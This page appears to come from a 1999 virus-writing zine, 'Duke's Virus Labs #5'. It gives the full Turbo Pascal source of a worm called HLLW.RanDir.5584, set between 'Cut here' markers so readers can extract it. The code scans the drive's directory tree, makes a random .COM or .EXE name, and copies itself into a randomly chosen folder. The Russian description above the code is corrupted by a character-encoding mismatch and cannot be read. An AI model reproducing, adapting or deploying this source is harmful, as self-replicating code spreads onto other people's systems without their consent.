- [Duke's Virus Labs #5] - [Page 03] -

HLLW.RanDir.5584
(c) by Duke/SMF

     : HLLW.RanDir.5584
         : Duke/SMF
 ண.   : Turbo Pascal 7.0
 ᮧ : 04.02.99


    訫   ⥬ -  ᪠, ᪮  ⠪
 ᠭ. ⠥ 饭 !
    稭   -  ᪠஢ ⠫ ⥪饣
᪠ :) 뢠  ᫮   ⠫   ⥪.
⥬  砩 ᫮    1  ⢠ ⠫ 
᪥,   ⥪  㦭 .  䠩- ᮧ
砩   1  8 ᨬ  ७ COM  EXE   
  ⠫  ⨬ .
    ࠧ   ࠧ  ॡ 䠩,  ॡ
᪮ ࠭⢮ :)) ⪮  ᮬ⥫쭠 ࠡᯮᮡ
 讬 ⢥ ४਩  ᪥ (⠪    :).

===== Cut here =====
{$M 5000, 0, 5000}
{$I-,S-}
program Virus_RandomDir;
uses dos;
type stack = ^nodestack;
     nodestack = record
                 inf:string[150];
                 next:stack;
                 end;
var NewName:string;
    Kol,K:integer;
    S,H:stack;
{---------------------------}
procedure Search(Dir:string);
var N:searchrec;
begin
Kol:=Kol+1;
{ ⥪ ४  ⥪:}
new(S);
S^.inf:=Dir;
S^.next:=H;
H:=S;
{᪠ 㣨 () ४ਨ:}
if Dir[length(Dir)]<>'\'then Dir:=Dir+'\';
findfirst(Dir+'*.*',$3F,N);
while doserror=0 do
  begin
  with N do if (Attr and 16<>0) and (Name[1]<>'.')         {諨 ४}
    then Search(Dir+Name);
  findnext(N);
  end;
end;
{-------------------------}
procedure MakeRandomName;                             {ᮧ 砩 }
var i,d:byte;
begin
d:=random(8)+1;
NewName:='[HLLW.RanDir (c) by Duke/SMF]';                  { ࠩ ;)}
NewName:='';
for i:=1 to d do NewName:=NewName+chr(random(26)+97);
d:=random(255);
if d div 2 = d/2 then NewName:=NewName+'.com' else NewName:=NewName+'.exe';
end;
{-----------------------}
function Put(K:integer):string;
var j:integer;
begin
for j:=1 to K-1 do
  begin
  S:=H;
  H:=H^.next;
  dispose(S);
  end;
Put:=H^.inf;
end;
{---------------------------}
begin
Kol:=0;
H^.next:=nil;
Search(copy(fexpand(paramstr(0)),1,2));
Randomize;
MakeRandomName;
K:=random(Kol);             { 砩 ᫮  0  - ४਩}
NewName:=Put(K)+'\'+NewName;
exec(GetEnv('COMSPEC'),'/c copy '+paramstr(0)+' '+NewName+'>nul');
end.
===== Cut here =====
